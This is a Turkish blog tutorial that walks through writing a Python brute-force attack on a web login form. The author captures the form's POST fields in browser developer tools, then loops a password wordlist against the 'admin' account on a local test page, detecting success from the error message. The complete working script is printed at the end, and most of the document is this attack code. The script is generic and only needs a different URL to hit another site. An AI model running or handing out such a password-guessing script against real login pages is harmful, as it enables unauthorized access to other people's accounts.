Python ile Brute Force Yapımı:
Python ile POST ve GET istekleri gönderebiliyoruz. Bu istekler ile sitelere bot yapabiliriz. Brute Force (kaba kuvvet) saldırısı yapabiliriz.
Bugün bunun örneğini göstereceğim.
Login Sayfası:

Böyle bir giriş sayfası hazırladım.
Şİfreyi yanlış girince “Kullanici Adi/Sifre Yanlis.” diyor.
Doğru girersem “Giris basarili” diyor.
Şimdi Python kısmına geçelim.
Python Bölümü:
Requests modülünü kullanacağınız. sudo apt install python3-pip
pip3 paket yöneticisini indiriyorum. Genelde yüklü gelmektedir.
pip3 install requests
komutu ile requests modülü indiriyorum.
Şimdi kodlama kısmına geçelim.
import requests # requests modülünü import ediyoruz.
r=requests.post("http://127.0.0.1/login.php")#istek atılır
print(r.text)# dönen değer ekrana bastılır.
Evet şimdi çıktıyı gösterelim.
Kodu çalıştırmak için python3 dosya_adi.py
yazıyoruz.

Çıktımız html olarak geldi.
Şimdi gelelim post isteği atmaya.
İlk olarak giden verileri tespit edeceğiz.
Sitemize geliyoruz.
Sağ tık >> incele yapıyoruz.

Network kısmına geliyoruz.
Şimdi kullanıcı ve şifre alanına herhangi bir şey yazıp gönderelim.

Evet şimdi burada çıkan şeye tıklıyoruz.

En altta bulunan değerleri kullanacağız.
Python kodumuza gelelim.
import requests # requests modülünü import ediyoruz.
payload = {"kadi":"admin","sifre":"sifre"}#giden verilerin yazımı.
r=requests.post("http://127.0.0.1/login.php",data=payload)#istek atılır.
print(r.text)# dönen değer ekrana bastılır.
Evet şimdi burada ne yaptık ?
Giden post verilini alıp yazdık.
Sonrasında data=payload’ı isteğimize ekleyerek bunu gönderdik.
Şimdi dönen sonuca bakalım.

Evet isteğimiz doğru bir şekilde gönderilmiş.
Giriş sayfasına verileri girdirmeyi başardık. Şimdi kaba kuvvet saldırısı (brute force) yapalım.
Wordlist oluşturmamız gerekiyor. Ben sifreler.txt adında bir wordlist oluşturuyorum.

sifreler.txt’in içine şifreler oluşturup yazdım.
Şimdi Python kodumuza gelelim.
with open("sifreler.txt") as sifr:#dosyamızı açıp sifr değişkenine atadık.
for sifre in sifr:# for döngüsü ile içine girdik.
sifre=sifre.replace("\n","")#satırları sildik
payload = {"kadi":"admin","sifre":sifre}# artık sifre değerimiz sifreler.txt içinde bulunan veriler.
r=requests.post("http://127.0.0.1/login.php",data=payload)#istek atılır
Şifre değerimiz artık sifreler.txt nin içinde bulunan kelimeler oldu. Şimdi isteğimizi atalım. Fakat dönen cevabı kontrol edelim.
Eğer yanlış girersek Kullanici Adi/Sifre Yanlis
diyor. Biz ise doğruları bulmak istediğimiz için içinde Kullanici Adi/Sifre Yanlis
cümlesi bulunan şeyleri yazdırmayacağız. Bunun için şu kodu kullanıyoruz.
if "Kullanici Adi/Sifre Yanlis" in r.text: # "Kullanici Adi/Sifre Yanlis" cümlesi dönen cevapta varsa;
print("Yanlış: "+sifre) # Yanlış diyip girilen değeri ekrana bastır.
else: # Eğer "Kullanici Adi/Sifre Yanlis" dönen cevapta bulunmazsa;
print("BULUNDU "+sifre) # Bulundu diyip girilen değeri bastır,
import sys # ve programdan çık.
sys.exit()
Evet şimdi programı çalıştıralım.

Tüm kodlar:
import requests
with open("sifreler.txt") as sifr:
for sifre in sifr:
sifre=sifre.replace("\n","")
#secure.web.tr
payload = {"kadi":"admin","sifre":sifre}
r=requests.post("http://127.0.0.1/login.php",data=payload)
if "Kullanici Adi/Sifre Yanlis" in r.text:
print("Yanlış: "+sifre)
else:
print("BULUNDU "+sifre)
import sys
sys.exit()
Python ile Brute Force konumuzun sonuna geldik. Okuduğunuz için teşekkürler.
Okumayı unutmayın: https://www.secure.web.tr/wordpress-guvenligi-nasil-saglanir/
Yorumlar 1